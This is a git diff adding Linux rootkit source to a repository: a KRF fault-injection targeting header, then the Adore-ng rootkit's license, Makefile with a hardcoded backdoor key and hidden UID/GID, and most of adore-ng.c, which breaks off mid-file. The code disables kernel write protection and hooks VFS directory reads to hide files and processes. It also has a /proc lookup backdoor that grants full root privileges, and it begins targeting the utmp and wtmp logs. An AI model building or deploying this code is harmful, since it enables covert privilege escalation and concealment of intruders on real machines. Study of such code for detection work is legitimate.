diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h new file mode 100644 index 0000000..cd355bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h @@ -0,0 +1,55 @@ +#pragma once +#include "config.h" +#ifdef LINUX +#include "linux/linux.h" +#include "linux/targeting.h" +#endif +#ifdef __FreeBSD__ +#include "freebsd/freebsd.h" +#include "freebsd/targeting.h" +#endif + +static __always_inline int krf_targeted(krf_ctx_t *context) { + int targeted = 1; + size_t i = 0; + for (; i < KRF_T_NUM_MODES; i++) { + if (targeted == 0) + break; + + if (krf_target_options.mode_mask & (1 << i)) { + switch (i) { + case KRF_T_MODE_PERSONALITY: + if (krf_personality(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_PID: + if (krf_pid(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_UID: + if (krf_uid(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_GID: + if (krf_gid(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_INODE: + if (krf_inode(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + } + } + } + return (targeted & (~1)); +} diff --git a/Linux/Rootkits/Adore-ng/.gitignore b/Linux/Rootkits/Adore-ng/.gitignore new file mode 100644 index 0000000..edf6645 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/.gitignore @@ -0,0 +1,29 @@ +# Object files +*.o +*.ko +*.obj +*.elf + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex diff --git a/Linux/Rootkits/Adore-ng/LICENSE b/Linux/Rootkits/Adore-ng/LICENSE new file mode 100644 index 0000000..d6a9326 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/LICENSE @@ -0,0 +1,340 @@ +GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. + diff --git a/Linux/Rootkits/Adore-ng/Makefile b/Linux/Rootkits/Adore-ng/Makefile new file mode 100644 index 0000000..a16db91 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/Makefile @@ -0,0 +1,43 @@ +# New kbuild based Makefile for 2.6 kernel +# Edit ELITE_UID etc. and copy to 'Makefile' +# then type 'make' + +EXTRA_CFLAGS=-DELITE_UID=2618748389U -DELITE_GID=4063569279U +EXTRA_CFLAGS+=-DCURRENT_ADORE=56 +EXTRA_CFLAGS+=-DADORE_KEY=\"fgjgggfd\" + +#EXTRA_CFLAGS+=-DHIDE + +# Enable this so it expects itself to be relinked into another LKM with +# 'relink26' script. If compiled with this switch, it cant +# be loaded stand alone. +#EXTRA_CFLAGS+=-DRELINKED + +#EXTRA_CFLAGS+=-D__SMP__ # enable this for SMP systems + +# comment this out if your dmesg tells you that the version +# magic strings from adore-ng differ from your kernel one's +# you need to change the adore-ng-2.6.c file VERSION_MAGIC +# at the end of the file to match your version +#EXTRA_CFLAGS+=-DCROSS_BUILD + +EXTRA_CFLAGS+=-DMODIFY_PAGE_TABLES +EXTRA_CFLAGS+=-DFOUR_LEVEL_PAGING + + +#KERNEL_SOURCE=/usr/src/linux +KERNELBUILD := /lib/modules/$(shell uname -r)/build + +obj-m += adore-ng.o + +default: ava adore + +adore: + make -C $(KERNELBUILD) M=$(shell pwd) modules + +ava: ava.c libinvisible.c + $(CC) $(EXTRA_CFLAGS) ava.c libinvisible.c -o ava + +clean: + rm -f core ava *.ko *.o + rm -f *mod* Module* diff --git a/Linux/Rootkits/Adore-ng/README.md b/Linux/Rootkits/Adore-ng/README.md new file mode 100644 index 0000000..27e1370 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/README.md @@ -0,0 +1,4 @@ +adore-ng +======== + +linux rootkit adapted for 2.6 and 3.x diff --git a/Linux/Rootkits/Adore-ng/adore-ng.c b/Linux/Rootkits/Adore-ng/adore-ng.c new file mode 100644 index 0000000..9d8563e --- /dev/null +++ b/Linux/Rootkits/Adore-ng/adore-ng.c @@ -0,0 +1,932 @@ +/*** (C) 2004-2005 by Stealth + *** http://stealth.scorpions.net/rootkits + *** http://stealth.openwall.net/rootkits + *** + *** 2008 wzt -- Fix gcc complier warnnings. + *** + *** http://www.xsec.org + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + ***/ +#ifndef __KERNEL__ +#define __KERNEL__ +#endif +#ifndef MODULE +#define MODULE +#endif + +#define LINUX26 + +#ifdef MODVERSIONS +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "adore-ng.h" + +#ifdef __x86_64__ +uint64_t orig_cr0; +uint64_t clear_return_cr0(void) +{ + uint64_t cr0 = 0; + uint64_t ret; + asm volatile ("mov %%cr0, %%rax" + :"=a"(cr0) + ); + ret = cr0; + cr0 &= 0xfffeffff; + asm volatile ("mov %%rax, %%cr0" + : + :"a"(cr0) + ); + return ret; +} +void setback_cr0(uint64_t val) +{ + asm volatile ("mov %%rax, %%cr0" + : + :"a"(val) + ); +} +#else +unsigned orig_cr0; +/*清除cr0寄存器的写保护位,第16位为WP写保护位*/ +unsigned clear_return_cr0(void) +{ + unsigned cr0 = 0; + unsigned ret; + asm volatile ("movl %%cr0, %%eax" + :"=a"(cr0) + ); + ret = cr0; + cr0 &= 0xfffeffff; + asm volatile ("movl %%eax, %%cr0" + : + :"a"(cr0) + ); + return ret; +} +/*用orig_cr0恢复cr0寄存器*/ +void setback_cr0(unsigned val) +{ + asm volatile ("movl %%eax, %%cr0" + : + :"a"(val) + ); +} +#endif + +char *proc_fs = "/proc"; /* default proc FS to hide processes */ +char *root_fs = "/"; /* default FS to hide files */ +char *opt_fs = NULL; + +typedef int (*readdir_t)(struct file *, void *, filldir_t); +readdir_t orig_root_readdir = NULL, orig_opt_readdir = NULL; +readdir_t orig_proc_readdir = NULL; + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)) +typedef int (*iterate_dir_t)(struct file *, struct dir_context *); +iterate_dir_t orig_root_iterate = NULL; +iterate_dir_t orig_opt_iterate = NULL; +iterate_dir_t orig_proc_iterate = NULL; +#endif + +struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *, + struct nameidata *) = NULL; + +#ifndef PID_MAX +#define PID_MAX 0x8000 +#endif + +static char hidden_procs[PID_MAX/8+1]; + +inline void hide_proc(pid_t x) +{ + if (x >= PID_MAX || x == 1) + return; + hidden_procs[x/8] |= 1<<(x%8); +} + +inline void unhide_proc(pid_t x) +{ + if (x >= PID_MAX) + return; + hidden_procs[x/8] &= ~(1<<(x%8)); +} + +inline char is_invisible(pid_t x) +{ + if (x >= PID_MAX) + return 0; + return hidden_procs[x/8]&(1<<(x%8)); +} + +/* Theres some crap after the PID-filename on proc + * getdents() so the semantics of this function changed: + * Make "672" -> 672 and + * "672|@\" -> 672 too + */ +int adore_atoi(const char *str) +{ + int ret = 0, mul = 1; + const char *ptr; + + for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) + ; + ptr--; + while (ptr >= str) { + if (*ptr < '0' || *ptr > '9') + break; + ret += (*ptr - '0') * mul; + mul *= 10; + ptr--; + } + return ret; +} + +/* Own implementation of find_task_by_pid() */ +struct task_struct *adore_find_task(pid_t pid) +{ + struct task_struct *p; + + //read_lock(&tasklist_lock); + for_each_task(p) { + if (p->pid == pid) { + // read_unlock(&tasklist_lock); + return p; + } + } + //read_unlock(&tasklist_lock); + return NULL; +} + +int should_be_hidden(pid_t pid) +{ + struct task_struct *p = NULL; + + if (is_invisible(pid)) { + return 1; + } + + p = adore_find_task(pid); + if (!p) + return 0; + + /* If the parent is hidden, we are hidden too XXX */ + task_lock(p); + + if (is_invisible(p->parent->pid)) { + task_unlock(p); + hide_proc(pid); + return 1; + } + + task_unlock(p); + return 0; +} +#ifndef cap_set_full +#ifndef CAP_FULL_SET +# define CAP_FULL_SET ((kernel_cap_t){{ ~0, ~0 }}) +#endif +#ifndef cap_set_full +# define cap_set_full(c) do { (c) = ((kernel_cap_t){{ ~0, ~0 }}); } while (0) +#endif +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)) +#define PATCH_UID +#else +#define PATCH_UID .val +#endif + +/* You can control adore-ng without ava too: + * + * echo > /proc/ will make the shell authenticated, + * echo > /proc/-fullprivs will give UID 0, + * cat /proc/hide- from such a shell will hide PID, + * cat /proc/unhide- will unhide the process + */ +struct dentry *adore_lookup(struct inode *i, struct dentry *d, + struct nameidata *nd) +{ + struct cred *edit_cred = (struct cred *)current->cred; + task_lock(current); + + if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { + current->flags |= PF_AUTH; + edit_cred->suid PATCH_UID = ADORE_VERSION; + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "fullprivs", 9) == 0) { + edit_cred->uid PATCH_UID = 0; + edit_cred->suid PATCH_UID = 0; + edit_cred->euid PATCH_UID = 0; + edit_cred->gid PATCH_UID = 0; + edit_cred->egid PATCH_UID = 0; + edit_cred->fsuid PATCH_UID = 0; + edit_cred->fsgid PATCH_UID = 0; + + cap_set_full(edit_cred->cap_effective); + cap_set_full(edit_cred->cap_inheritable); + cap_set_full(edit_cred->cap_permitted); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "hide-", 5) == 0) { + hide_proc(adore_atoi(d->d_iname+5)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "unhide-", 7) == 0) { + unhide_proc(adore_atoi(d->d_iname+7)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "uninstall", 9) == 0) { + cleanup_module(); + } + + task_unlock(current); + + if (should_be_hidden(adore_atoi(d->d_iname)) && + /* A hidden ps must be able to see itself! */ + !should_be_hidden(current->pid)) + return NULL; + + return orig_proc_lookup(i, d, nd); +} + +filldir_t proc_filldir = NULL; +DEFINE_SPINLOCK(proc_filldir_lock); + +int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, u64 ino, unsigned x) +{ + char abuf[128]; + + memset(abuf, 0, sizeof(abuf)); + memcpy(abuf, name, nlen < sizeof(abuf) ? nlen : sizeof(abuf) - 1); + + if (should_be_hidden(adore_atoi(abuf))) + return 0; + + if (proc_filldir) + return proc_filldir(buf, name, nlen, off, ino, x); + return 0; +} + +int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + spin_lock(&proc_filldir_lock); + proc_filldir = filldir; + r = orig_proc_readdir(fp, buf, adore_proc_filldir); + spin_unlock(&proc_filldir_lock); + return r; +} + + +filldir_t opt_filldir = NULL; +struct dentry *parent_opt_dir[1024]; + +int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, u64 ino, unsigned x) +{ + struct inode *inode = NULL; + struct dentry *dentry = NULL; + struct qstr this; + struct dentry *dir = parent_opt_dir[current->pid % 1024]; + int r = 0; + uid_t uid; + gid_t gid; + + if (!dir) + return 0; + this.name = name; + this.len = nlen; + this.hash = full_name_hash(this.name, this.len); + dentry = d_lookup(dir, &this); + if (!dentry) { + dentry = d_alloc(dir, &this); + if (!dentry) { + return 0; + } + if (!dir->d_inode->i_op->lookup) + return 0; + if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) { + return 0; + } + } + if(!(inode = dentry->d_inode)) + return 0; + + uid = inode->i_uid PATCH_UID ; + gid = inode->i_gid PATCH_UID; + + iput(inode); + dput(dentry); +/* + if (reiser) { + if (inode->i_state & I_NEW) + unlock_new_inode(inode); + } + + iput(inode); +*/ + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else if (opt_filldir) + r = opt_filldir(buf, name, nlen, off, ino, x); + + return r; +} + + +int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_dentry || !buf || !filldir || !orig_root_readdir) + return 0; + + opt_filldir = filldir; + parent_opt_dir[current->pid % 1024] = fp->f_dentry; + r = orig_opt_readdir(fp, buf, adore_opt_filldir); + + return r; +} + + + +/* About the locking of these global vars: + * I used to lock these via rwlocks but on SMP systems this can cause + * a deadlock because the iget() locks an inode itself and I guess this + * could cause a locking situation of AB BA. So, I do not lock root_sb and + * root_filldir (same with opt_) anymore. root_filldir should anyway always + * be the same (filldir64 or filldir, depending on the libc). The worst thing + * that could happen is that 2 processes call filldir where the 2nd is + * replacing root_sb which affects the 1st process which AT WORST CASE shows + * the hidden files. + * Following conditions have to be met then: 1. SMP 2. 2 processes calling + * getdents() on 2 different partitions with the same FS. + * Now, since I made an array of super_blocks it must also be that the PIDs of + * these procs have to be the same PID modulo 1024. This sitation (all 3 cases + * must be met) should be very very rare. + */ +filldir_t root_filldir = NULL; +//struct super_block *root_sb[1024]; +struct dentry *parent_dir[1024]; + +int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, u64 ino, unsigned x) +{ + struct inode *inode = NULL; + struct dentry *dentry = NULL; + struct qstr this; + struct dentry *dir = parent_dir[current->pid % 1024]; + int r = 0; + uid_t uid; + gid_t gid; + + if (!dir) + return 0; + + /* Theres an odd 2.6 behaivior. iget() crashes on ReiserFS! using iget_locked + * without the unlock_new_inode() doesnt crash, but deadlocks + * time to time. So I basically emulate iget() without + * the sb->s_op->read_inode(inode); and so it doesnt crash or deadlock. + */ + + if(strcmp(name, ".") == 0 || strcmp(name , "..") == 0) + return root_filldir(buf, name, nlen, off, ino, x); + + /*下面的代码可以用这个代替,但是内核警告说最好不要用这个函数 + *struct dentry *lookup_one_len(const char *name, struct dentry *base, int len) + */ + this.name = name; + this.len = nlen; + this.hash = full_name_hash(this.name, this.len); + dentry = d_lookup(dir, &this); + if (!dentry) { + dentry = d_alloc(dir, &this); + if (!dentry) { + return 0; + } + if (!dir->d_inode->i_op->lookup) + return 0; + if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) { + printk("lookup failed\n"); + return 0; + } + } + if(!(inode = dentry->d_inode)) { + return 0; + } + + uid = inode->i_uid PATCH_UID; + gid = inode->i_gid PATCH_UID; + + //iput(inode); + //dput(dentry); + + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else if (root_filldir) { + r = root_filldir(buf, name, nlen, off, ino, x); + } + + return r; +} + +int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_dentry || !buf || !filldir || !orig_root_readdir) + return 0; + + root_filldir = filldir; + parent_dir[current->pid % 1024] = fp->f_dentry; + r = orig_root_readdir(fp, buf, adore_root_filldir); + + return r; +} + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)) + +static int adore_opt_iterate(struct file *fp, struct dir_context *ctx) +{ + int r = 0; + struct dir_context new_ctx = { + .actor = adore_proc_filldir + }; + + if (!fp || !fp->f_dentry || !orig_opt_iterate) + return 0; + + opt_filldir = ctx->actor; + memcpy(ctx, &new_ctx, sizeof(readdir_t)); + parent_opt_dir[current->pid % 1024] = fp->f_dentry; + r = orig_opt_iterate(fp, ctx); + + return r; +} + +static int adore_proc_iterate(struct file *fp, struct dir_context *ctx) +{ + int r = 0; + struct dir_context new_ctx = { + .actor = adore_proc_filldir + }; + + spin_lock(&proc_filldir_lock); + proc_filldir = ctx->actor; + memcpy(ctx, &new_ctx, sizeof(readdir_t)); + r = orig_proc_iterate(fp, ctx); + spin_unlock(&proc_filldir_lock); + return r; +} + +static int adore_root_iterate(struct file *fp, struct dir_context *ctx) +{ + int r = 0; + struct dir_context new_ctx = { + .actor = adore_root_filldir + }; + + if (!fp || !fp->f_dentry || !orig_root_iterate) + return -ENOTDIR; + + root_filldir = ctx->actor; + parent_dir[current->pid % 1024] = fp->f_dentry; + + memcpy(ctx, &new_ctx, sizeof(readdir_t)); + r = orig_root_iterate(fp, ctx); + + return r; +} +#endif + +int patch_vfs(const char *p, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + readdir_t *orig_readdir, readdir_t new_readdir +#else + iterate_dir_t *orig_iterate, iterate_dir_t new_iterate +#endif + ) +{ + struct file_operations *new_op; + struct file *filep; + + filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) { + return -1; + } + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + if (orig_readdir) + *orig_readdir = filep->f_op->readdir; +#else + if (orig_iterate) + *orig_iterate = filep->f_op->iterate; +#endif + + new_op = (struct file_operations *)filep->f_op; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + new_op->readdir = new_readdir; +#else + new_op->iterate = new_iterate; + printk("patch starting, %p --> %p\n", *orig_iterate, new_iterate); +#endif + + filep->f_op = new_op; + filp_close(filep, 0); + return 0; +} + +int unpatch_vfs(const char *p, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + readdir_t orig_readdir +#else + iterate_dir_t orig_iterate +#endif + ) +{ + struct file_operations *new_op; + struct file *filep; + + filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) { + return -1; + } + + new_op = (struct file_operations *)filep->f_op; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + new_op->readdir = orig_readdir; +#else + printk("unpatch starting, %p --> %p\n", new_op->iterate, orig_iterate); + new_op->iterate = orig_iterate; +#endif + + filp_close(filep, 0); + return 0; +} + + +char *strnstr(const char *haystack, const char *needle, size_t n) +{ + char *s = strstr(haystack, needle); + if (s == NULL) + return NULL; + if (s-haystack+strlen(needle) <= n) + return s; + else + return NULL; +} + +struct file *var_files[] = { + NULL, + NULL, + NULL, + NULL +}; + +char *var_filenames[] = { + "/var/run/utmp", + "/var/log/wtmp", + 